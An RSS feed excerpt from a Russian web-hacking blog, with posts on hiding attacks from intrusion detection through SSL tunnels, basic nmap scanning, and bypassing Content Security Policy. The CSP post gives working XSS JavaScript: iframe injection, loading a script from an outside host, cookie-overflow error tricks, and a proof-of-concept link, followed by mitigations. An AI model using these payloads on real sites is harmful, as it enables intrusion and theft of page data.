    <p id="ExzB">&lt;TD&gt;=&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#61&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x3D;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%3D&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;lt;&lt;/TD&gt;</p>
    <p id="pkG5">&lt;TD&gt;&amp;amp;#60&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x3C;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;lt&lt;/TD&gt;<br />&lt;TD&gt;%3C&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;gt;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#62&lt;/TD&gt;</p>
    <p id="8dfG">&lt;TD&gt;&amp;amp;#x3E;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;gt&lt;/TD&gt;<br />&lt;TD&gt;%3E&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;\&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#92&lt;/TD&gt;</p>
    <p id="KoM1">&lt;TD&gt;&amp;amp;#x5C;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%5C&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;%&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#37&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x25;&lt;/TD&gt;</p>
    <p id="uVvg">&lt;TD&gt; &lt;/TD&gt;<br />&lt;TD&gt;%25&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;+&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#43&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x2B;&lt;/TD&gt;<br />&lt;TD&gt; &lt;/TD&gt;</p>
    <p id="RA1h">&lt;TD&gt;%2B&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;lt;короткий дефис&amp;gt; &lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#173&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#xAD;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;shy&lt;/TD&gt;</p>
    <p id="StD8">&lt;TD&gt;%AD&lt;/TD&gt;&lt;/TR&gt;<br />&lt;TR&gt;<br />&lt;TD&gt;&amp;amp;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#38&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;#x26;&lt;/TD&gt;<br />&lt;TD&gt;&amp;amp;amp&lt;/TD&gt;<br />&lt;TD&gt;%26&lt;/TD&gt;&lt;/TR&gt;&lt;/TABLE&gt;</p>
  </section>
  <p id="4ZpM">*-в некоторых случаях точку с запятой<br />можно опустить (если символ стоит в конце строки, или подряд идут несколько символов в данной кодировке).</p>
  <p id="8NOi"><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/l3dvltgB5cf</guid><link>https://teletype.in/@kakaovers/l3dvltgB5cf?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/l3dvltgB5cf?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Как был взломан Designforum.ru </title><pubDate>Fri, 24 Feb 2023 08:14:45 GMT</pubDate><description><![CDATA[Как правило, в приложениях электронной коммерции конфиденциальные данные передаются с использованием протокола SSL. На его основе между Web-броузером и Web-сервером устанавливается зашифрованное соединение, в рамках которого передаваемые данные защищены от прослушивания. При разработке протокола SSL преследовалась единственная цель: обеспечить невозможность перехвата пакетов с помощью сетевых анализаторов пакетов. С использованием этих средств злоумышленники извлекают из передаваемых данных конфиденциальную информацию. Для выявления вторжений протокол SSL является единственным существенным препятствием. В большинстве систем SSL для сбора данных о сетевой деятельности используются средства анализа пакетов. Если передаваемые данные...]]></description><content:encoded><![CDATA[
  <p id="kvJx">Как правило, в приложениях электронной коммерции конфиденциальные данные передаются с использованием протокола SSL. На его основе между Web-броузером и Web-сервером устанавливается зашифрованное соединение, в рамках которого передаваемые данные защищены от прослушивания. При разработке протокола SSL преследовалась единственная цель: обеспечить невозможность перехвата пакетов с помощью сетевых анализаторов пакетов. С использованием этих средств злоумышленники извлекают из передаваемых данных конфиденциальную информацию. Для выявления вторжений протокол SSL является единственным существенным препятствием. В большинстве систем SSL для сбора данных о сетевой деятельности используются средства анализа пакетов. Если передаваемые данные зашифрованы, то их анализ и проверку на &quot;благонадежность&quot; выполнить уже невозможно. Все IDS, работа которых основана на анализе сетевых пакетов, &quot;не замечают&quot; атаки на базе SSL.</p>
  <p id="pJYp">Пример:<br />Чтобы проиллюстрировать &quot;возможности&quot; IDS по выявлению атак, основанных на использовании протокола SSL, рассмотрим пример такой атаки на узел под управле- нием Windows, на котором установлен также Web-сервер IIS 4.0. В рамках примера рассматривается следующая сетевая конфигурация:<br />• Сервер IIS прослушивает порты 80 и 443 узла 192.168.7.203.<br />• Система выявления вторжений Snort запущена на узле webspy, прослушивающем тот же cетевой сегмент, в котором находится и узел 192.168.7.203.<br />• Взломщик # 1 располагается на узле 10.0.0.1.<br />• Взломщик #2 располагается на узле 10.0.0.2. Против узла 192.168.7.203 было инициировано четыре атаки: две атаки МDАС RDS с узла 10.0.0.1 и две атаки Unicode cmd.exe с узла 10.0.0.2. Надо сказать, что один из хакеров в отличие от второго не пользовался SSL - протоколом. Если просмотреть все записи журнала сервера IIS узла 192.168.7.203 после хакерских атак, можно увидеть, что все Get- запросы были зарегистрированы. Но при этом в журналах системы Snort, запущенной на системе webspy, содержится только две записи (сохранились только те запросы, которые осуществлялись без использования SSL). В итоге, две атаки через безопасный протокол остались ВНЕ поля зрения IDS!</p>
  <p id="zHqz">Туннелирование атак посредством протокола SSL</p>
  <p id="kw8M">Для реализации НТТР-атак с использованием протокола SSL можно без проблем воспользоваться броузером. Для этого достаточно указать в адресе URL префикс https, а не http. Далее броузер сам позаботится о согласовании параметров SSL-сеанса и шифровании данных. Однако, если для реализации атаки взломщику нужно воспользоваться сценарием или утилитой, в которых отсутствует встроенная поддержка протокола SSL, придется прибегнуть к SSL- туннелированию. Этот метод подразумевает использование специальной программы, которая прослушивает порт 80 и при поступлении на него стандартных НТТР-запросов передает их через зашифрованное SSL- соединение указанному узлу. В рамках такой схемы передаваемые данные будут автоматически шифроваться и передаваться целевой системе. Построить SSL-туннель на базе пакета ОрепSSL совсем несложно, особенно в системе Unix, в которой используется демон inetd. Рассмотрим пример, когда злоумышленник находится на узле 10.0.0.1, а целевой Web -сервер установлен на узле 192.168.7.203 и прослушивает порт 443. Предположим, что взломщик хочет запустить на целевом Web-сервере такую программу поиска изъянов, как Whisker. Для реализации задуманного плана злоумышленник создает SSL- туннель на другой системе, 10.0.0.2. При этом в файл /etc/inetd.conf на узле 10.0.0.2 он добавляет следующую запись: www stream tcp nowait root /usr/sbin/tcpd /tmp/sslconnect.sh Подобное изменение конфигурации приведёт к тому, что демон inetd будет передавать сценарию /tmp/sslconnect.sh весь TCP-траффик, приходящий на порт 80. В файле /tmp/sslconnect.sh содержится примерно такой код: #!/bin/sh openssl s_client -no_tls1 -quiet -connect 192.168.7.203:443 2&gt; /dev/null Поскольку сценарий /tmp/sslconnect.sh запускается демоном inetd, все данные, подающие на ТСР-порт 80, воспринимаются утилитой openssl как данные, поступающие из стандартного входного потока. IР-адрес 192.168.7.203 целевого сервера жестко задан в самом сценарии. Один такой SSL-туннель одновременно можно использовать для взаимодействия только с одной системой. Параметры -no_tls1 -quiet предназначены для подавления вывода на экран заголовков SSL и обхода предупреждений SSL-аутентификации, генерируемых при использовании неподписанных сертификатов узлов. Все возвращаемые утилитой opensll данные отсылаются обратно через входящее ТСР-соединение демона inetd, поскольку сценарий передает все данные в стандартный выходной поток. Теперь в качестве целевого сервера утилиты Whisker взломщик может задать узел 10.0.0,2 и порт 80, а не узел 192.168.7.203. При этом шифрование и передача данных на узел 192.168.7.203, а также передача ответов по адресу 10.0.0.1 будут обеспечиваться SSL-туннелем. Более удачный и надежный SSL.-туннель можно организовать с использованием утилиты stunnel. Ее исполняемую версию для системы Windows, разработанную на базе библиотек OpenSSL, можно найти по адресу <a href="http://www.stunnel.org/" target="_blank">http://www.stunnel.org</a></p>
  <p id="GKj1">Выявление вторжений через SSL</p>
  <p id="p8DX">Что делать, если протокол SSL сводит на нет все попытки выявления вторжений? Простого ответа на этот вопрос не существует, хотя рядом специалистов были предложены различные решения, в которых учитывалась специфика конкретных ситуаций. Оказалось, что наилучший вариант связан с использованием реверсивного НТТP посредника (reverse НТТР ргоху). При этом система выявления вторжений размещается между реверсивным НТТР- посредником И Веб-сервером и позволяет выделять в НТТР-трафике сигнатуры атак. Единственный недостаток такой архитектуры заключается в том, что исходный адрес системы, с которой была инициирована атака, заменяется IР-адресом реверсивного НТТР-посредника. Для получения исходного IР-адреса придется сопоставить журналы НТТР-посредника и IDS.</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/BO8PhiHKFHc</guid><link>https://teletype.in/@kakaovers/BO8PhiHKFHc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/BO8PhiHKFHc?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Nmap Для зелёных</title><pubDate>Fri, 24 Feb 2023 08:12:58 GMT</pubDate><description><![CDATA[Введение]]></description><content:encoded><![CDATA[
  <p id="H9in"><strong>Введение</strong></p>
  <p id="Pwhc">Ты наверное не раз слышал о сканере nmap? Знающие люди говорят много хороших слов в его адрес и это неспроста (хотя хватает и ламья .которое никогда не видело даже nmap в работе, а орёт что он самый лучший) Ведь nmap является универсальным сканером, напичканным всевозможными полезными функциями, обилие которых ты не встретишь ни в одном другом сканере! Nmap поможет определить ОС на сервере, открытые порты, наличие демонов и их название.<br />Сканер является кроссплатформенным, можно скачать версию как под *nix системы, так и под Windows. Просто в варианте с Windows прийдётся установить библиотеку win-pcap, необходимую для работы сканера. Также советую использовать консольную версию nmap, она намного удобней в работе (да пусть тебя не пугает мрачное окно консоли %)).</p>
  <p id="aDek"><strong>Поехали</strong></p>
  <p id="AUWQ">Сканер nmap имеет богатый синтаксис, большое количество параметров сканирования.<br />Ниже приведу наиболее нужные и полезные:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Ak3f"><strong>-p (ports)</strong>- ключ на сканирование на наличие открытого порта/портов.<br />Если ввести nmap –p 25-100 тогда сканер просканирует диапазон портов от 25 до 100.<br />Также можно сформировать команду по другому. Например, если надо просканировать 135, 139 и 445 порты, отправляем команду nmap –p 135,139,445 .</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Wp4N"><strong>-o (Operating system detection)</strong>- определение операционной системы удалённого сервера. Данная опция практически безошибочно определяет системы Unix, а вот с форточками обычно возникают проблемы</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="6U4U"><strong>-sT (scan TCP)</strong>- Общий метод сканирования TCP-портов.</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="u9iN"><strong>-sP (scan Ping)</strong>- обычный пинг нужного хоста. То есть если тебе например нужно узнать IP хоста, вбиваешь nmap –sP www.target.ru .</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="2bvL"><strong>-sS (scan SYN)</strong>- сканирование скрытно от фаервола на сканируемом хосте.</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="z4Ii"><strong>-sV (scan version)</strong>- опция определения демонов на сканируемых портах.<br />Запускается так: nmap –pПОРТ –sV www.target.ru</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="4YKc"><strong>-oN (output normal)</strong>- сохранение результатов сканирования в текстовый файл.<br />Опция включается в команду следующим образом: -oN имя_файла_для_лога</p>
  </section>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="L9nB"><strong>-v (verbose output)</strong>- показ отчёта выполняемых операций, лучше всего включить эту опцию при сканировании.</p>
  </section>
  <p id="hCkC"><strong>Заключение</strong><br />Я расписал лишь самые необходимые опции, но но когда-нибудь тебе станет мало этих опций, тогда вбивай nmap –help и читай полное описание синтаксиса этого сканера.<br />Почитать манны про nmap в любом случае стоит.<br />Можно комбинировать опции сканирования, это очень большой плюс.<br />Nmap всегда поможет определить демон и его версию на сканируемом хосте, после чего можно сбегать на багтрак и найти эксплойт для нужной тебе версии демона.</p>
  <p id="OJGm">Свежую версию nmap всегда можно скачать с <a href="http://download.insecure.org/nmap/dist/" target="_blank">http://download.insecure.org/nmap/dist/</a><br />Это даже не статейка, а всего лишь краткая справка по синтаксису сканера nmap.</p>
  <p id="F2Bu"><strong><br /><br /><br /><br /><br /><br />Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@kakaovers/_oOjBxDrWs8</guid><link>https://teletype.in/@kakaovers/_oOjBxDrWs8?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers</link><comments>https://teletype.in/@kakaovers/_oOjBxDrWs8?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=kakaovers#comments</comments><dc:creator>kakaovers</dc:creator><title>Изучаем новую крутую технику обхода CSP</title><pubDate>Wed, 22 Feb 2023 18:41:34 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/9d/6a/9d6ada81-13bb-456a-925f-17d7d38bd8f5.png"></media:content><description><![CDATA[<img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image3.jpg"></img>Политика защиты контента (CSP) — это механизм, встроенный в браузеры, который позволяет защититься от XSS-атак. Он описывает браузеру безопасные источники загрузки ресурсов, таких как JavaScript, стили, изображения, фреймы. Основной способ использования политики — блокировка недоверенных JS, что сводит к минимуму вероятность успешной эксплуатации XSS. Например, если в заголовке CSP указано загружать изображения только с текущего домена, то все теги со сторонними доменами будут проигнорированы. Но как провести полноценную атаку с кражей данных, если ничего нельзя отправлять на другие ресурсы?]]></description><content:encoded><![CDATA[
  <p id="hqzv">Политика защиты контента (CSP) — это механизм, встроенный в браузеры, который позволяет защититься от XSS-атак. Он описывает браузеру безопасные источники загрузки ресурсов, таких как JavaScript, стили, изображения, фреймы. Основной способ использования политики — блокировка недоверенных JS, что сводит к минимуму вероятность успешной эксплуатации XSS. Например, если в заголовке CSP указано загружать изображения только с текущего домена, то все теги со сторонними доменами будут проигнорированы. Но как провести полноценную атаку с кражей данных, если ничего нельзя отправлять на другие ресурсы?</p>
  <p id="aYZA">Типичный пример использования CSP — это разрешение загрузки ресурсов с собственного домена (self) и разрешение выполнения инлайн-сценариев:</p>
  <pre id="4T2k">Content-Security-Policy: default-src &#x27;self&#x27; &#x27;unsafe-inline&#x27;;</pre>
  <p id="t6Bv">Такая политика подразумевает «запрещено все, что не разрешено». В данной конфигурации будет запрещено любое использование функций, выполняющих код в виде строки, таких как <code>eval</code>, <code>setTimeout</code>, <code>setInterval</code>, так как отсутствует настройка <code>&#x27;unsafe-eval&#x27;</code>.</p>
  <figure id="aEl7" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image3.jpg" width="1200" />
  </figure>
  <p id="UvUu">Запрещено грузить <strong>любой</strong> контент с внешних источников, в том числе изображения, CSS, WebSocket. И конечно же, JS.</p>
  <p id="L2nN">Но не стоит забывать, что self позволяет работать в контексте SOP в рамках этого домена, поэтому мы по-прежнему можем грузить сценарии, создавать фреймы, изображения. Если вспомнить о фреймах, то CSP распространяется и на фреймы, в том числе если в качестве протокола будет указан data, blob или будет сформирован фрейм с помощью атрибута srcdoc.</p>
  <figure id="i62Q" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image14.jpg" width="1200" />
  </figure>
  <h2 id="mXIM">Можно ли выполнить JS в текстовом файле?</h2>
  <p id="hRWX">Для начала вспомним один трюк. Если современный браузер открывает изображение или какой-то текстовый файл, он автоматически преобразуется в HTML-страницу.</p>
  <figure id="TVeh" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image9.jpg" width="1200" />
  </figure>
  <p id="F6FF">Это нужно для корректного отображения содержимого пользователю, чтобы у изображения был фон и она была расположена по центру. Но <code>iframe</code> также является окном! Поэтому открытые в нем файлы, которые отображаются в браузере, например favicon.ico или robots.txt, автоматически преобразуются в HTML, независимо от того, корректные ли в нем данные, главное — чтобы был правильный <code>content-type</code>.</p>
  <p id="fi81">Но что, если фрейм будет содержать страницу сайта, но уже без заголовка CSP? Вопрос риторический. Выполнит ли открытый фрейм без политики все JS, которые будут у него внутри? Если иметь XSS на странице, мы можем сами записать свой JS внутрь фрейма.</p>
  <p id="zoIb">Для теста сформируем сценарий, который открывает iframe. Для примера возьмем bootstrap.min.css, путь к которому указан на странице выше.</p>
  <pre id="kjsd">frame=document.createElement(&quot;iframe&quot;);
frame.src=&quot;/css/bootstrap.min.css&quot;;
document.body.appendChild(frame);</pre>
  <figure id="3N4k" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image12.jpg" width="1200" />
  </figure>
  <p id="pbhO">Теперь посмотрим на содержимое фрейма. Отлично! CSS был преобразован в HTML, и нам удалось переписать содержимое head (хотя оно было пустое). Теперь проверим, сработает ли в нем подключение внешнего JavaScript-файла.</p>
  <pre id="rFjD">script=document.createElement(&#x27;script&#x27;); 
script.src=&#x27;//bo0om.ru/csp.js&#x27;; 
window.frames[0].document.head.appendChild(script);</pre>
  <figure id="M0WQ" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image10.jpg" width="1200" />
  </figure>
  <p id="5Rtm">Таким образом мы можем выполнить инъекцию через iframe, создать в нем свой JS-сценарий и обратиться в окно-родитель, чтобы украсть оттуда данные.</p>
  <p id="F5hf">Для полноценной эксплуатации XSS достаточно открыть фрейм с любым путем, где отсутствует политика безопасности. Это могут быть стандартные favicon.ico, robots.txt, sitemap.xml, CSS/JS-файлы, загруженные пользователями изображения и прочее.</p>
  <h2 id="TSM7">Ошибки сервера для обхода CSP</h2>
  <p id="FIwg">Но что, если любой корректный ответ (200 — OK) содержит X-Frame-Options: Deny? Вторая ошибка, которую допускают при внедрении CSP, — это отсутствие защитных заголовков при ошибках веб-сервера. Самый простой вариант — обратиться на несуществующую страницу. Я заметил, что многие ресурсы ставят X-Frame-Options только на ответы 200, но 404 игнорируют.</p>
  <p id="M82P">Если и это предусмотрено — попробуем вызвать стандартное сообщение от веб-сервера о некорректной ссылке.</p>
  <p id="3bAb">Чтобы гарантированно вызвать 400 bad request на примере nginx, достаточно обратиться на директорию выше с помощью конструкции <code>/%2e%2e%2f</code>. Чтобы препятствовать нормализации ссылки браузером (браузер уберет <code>/../</code> и отправит <code>/</code>), делаем urlencode точки и последнего слеша:</p>
  <pre id="maOn">frame=document.createElement(&quot;iframe&quot;); 
frame.src=&quot;/%2e%2e%2f&quot;; 
document.body.appendChild(frame);</pre>
  <figure id="e6FR" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image11.jpg" width="1200" />
  </figure>
  <p id="43lZ">Другой из вариантов развития событий — передача некорректного urlencode в пути, например <code>/%</code> или <code>/%%z</code>.</p>
  <p id="wkR0">Однако самый простой способ получить ошибку веб-сервера — это превышение длины URL. Современные браузеры <a href="https://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url-in-different-browsers" target="_blank">могут сформировать</a> ссылку много больше, чем поддерживает веб-сервер. А у веб-серверов по умолчанию размер ссылки не должен превышать 8 Кбайт данных, как в <a href="http://nginx.org/en/docs/http/ngx_http_core_module.html#large_client_header_buffers" target="_blank">nginx</a>, так и в <a href="https://httpd.apache.org/docs/current/mod/core.html#limitrequestline" target="_blank">Apache</a>.</p>
  <p id="WdmL">Для этого вызываем похожий сценарий, например с длиной пути в 20 000 байт:</p>
  <pre id="iTG7">frame=document.createElement(&quot;iframe&quot;); 
frame.src=&quot;/&quot;+&quot;A&quot;.repeat(20000); 
document.body.appendChild(frame);</pre>
  <figure id="glE2" class="m_column">
    <img src="https://xakep.ru/wp-content/uploads/2018/10/187530/image13.jpg" width="1200" />
  </figure>
  <p id="eUbZ">Если вспомнить о других лимитах — это длина кук. <a href="http://browsercookielimits.squawky.net/" target="_blank">Количество и длина кук в браузере может быть больше</a>, чем поддерживают веб-серверы. По аналогии:</p>
  <ol id="54o5">
    <li id="iM99">Создаем огромные cookie:</li>
  </ol>
  <p id="vgYx"><code>for(var i=0;i&lt;5;i++){document.cookie=i+&quot;=&quot;+&quot;a&quot;.repeat(4000)}; </code></p>
  <p id="i54N">Открываем фрейм на любой адрес, сервер вернет ошибку (и часто без XFO и CSP).</p>
  <p id="w728">Удаляем огромные cookie:<br /><code>for(var i=0;i&lt;5;i++){document.cookie=i+&quot;=&quot;} </code></p>
  <p id="qZJA">Пишем в фрейм свой JS-сценарий, который ворует secret.</p>
  <p id="lfyA">Попробуй сам! А если не получится, вот тебе <a href="http://hsts.pro/csp.php?xss=for%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%2b%22a%22.repeat%284000%29%7D;f=document.createElement%28%22iframe%22%29;f.id=%22pwn%22;f.src=%22/%22;f.onload=%28%29=%3E%7Bfor%28var%20i=0;i%3C5;i%2b%2b%29%7Bdocument.cookie=i%2b%22=%22%7D;x=document.createElement%28%27script%27%29;x.src=%27data:,alert%28%22Pwned%20%22%2btop.secret.textContent%29%27;pwn.contentWindow.document.body.appendChild%28x%29%7D;document.body.appendChild%28f%29" target="_blank">PoC</a> :).</p>
  <p id="2S1p">Скорее всего, есть и другие способы вызвать ошибку, например отправить слишком длинный POST-запрос или вызвать ошибку самого веб-приложения (например, с ошибкой 500).</p>
  <h2 id="WqsV">Как этого избежать</h2>
  <p id="FdqJ">Заголовок Content-Security-Policy должен присутствовать на всех страницах, даже на ошибках веб-сервера.</p>
  <p id="kEFR">Настройка CSP должна происходить таким образом, чтобы права были минимально необходимыми для корректной работы ресурса, если это возможно. Попробуй включить <code>Content-Security-Policy-Report-Only: default-src &#x27;none&#x27;</code> и постепенно включать правила для тех или иных ситуаций.</p>
  <p id="qsrF">Если для корректной работы ресурса необходимо использовать <code>unsafe-inline</code>, обязательно нужно внедрить nonce или hash-source, без этого защита от атак типа XSS сходит на нет. А если CSP не защищает от атак, какой в нем смысл?</p>
  <p id="j4vj">Дополнительно, как рассказал знакомый пентестер, данные со страницы можно увести с помощью <code>RTCPeerConnection</code>, передавая секрет через DNS-запросы. <code>Default-src &#x27;self&#x27;</code>, к сожалению, не защищает и от этого.</p>
  <p id="D6w3"><br /><strong>Наш канал - <a href="https://t.me/webhack_kakao" target="_blank">https://t.me/webhack_kakao</a></strong></p>

]]></content:encoded></item></channel></rss>